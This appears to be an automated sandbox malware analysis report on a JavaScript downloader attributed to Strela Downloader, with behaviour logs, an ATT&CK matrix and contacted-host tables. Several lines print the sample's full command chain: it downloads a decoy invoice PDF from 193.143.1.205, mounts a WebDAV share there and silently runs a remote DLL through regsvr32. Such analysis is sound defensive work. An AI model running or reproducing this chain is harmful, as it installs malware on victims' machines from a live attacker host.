Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5985			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3788			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3488	Thread sleep count: 5985 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3488	Thread sleep count: 3788 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1364	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2132	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4296	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3060	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1360	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7436	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000002.1755608156.0000020525B58000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1756196545.0000020525BB8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2988842817.0000023C2182B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2990202206.0000023C26C59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1756196545.0000020525BB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWc

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2486775641261320080.js	7%	Virustotal		Browse
2486775641261320080.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/M	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1692805184.0000020B6E32E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1696739055.0000020B6E33E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1696786654.0000020B6E361000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2990280410.0000023C26C8C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000006.00000002.1755608156.0000020525B58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1756171510.0000020525BAD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1755608156.0000020525B58000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1752602753.0000020525BAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1755815239.0000020525B8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1753126683.0000020525B8B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/M	net.exe, 00000006.00000002.1755815239.0000020525B8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1753126683.0000020525B8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587803
Start date and time:	2025-01-10 18:07:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2486775641261320080.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 34.237.241.83, 50.16.47.176, 54.224.241.105, 2.16.168.105, 2.16.168.107, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 23.204.152.210, 23.204.152.213, 192.168.2.4, 52.149.20.212, 104.78.188.188, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:08:42	API Interceptor	21x Sleep call for process: powershell.exe modified
12:08:46	API Interceptor	1x Sleep call for process: net.exe modified
12:08:46	API Interceptor	2x Sleep call for process: svchost.exe modified
12:08:59	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	647915480318827205.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47011380785516565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2649727971102843099.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21646213161445014123.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307351708328732
Encrypted:	false
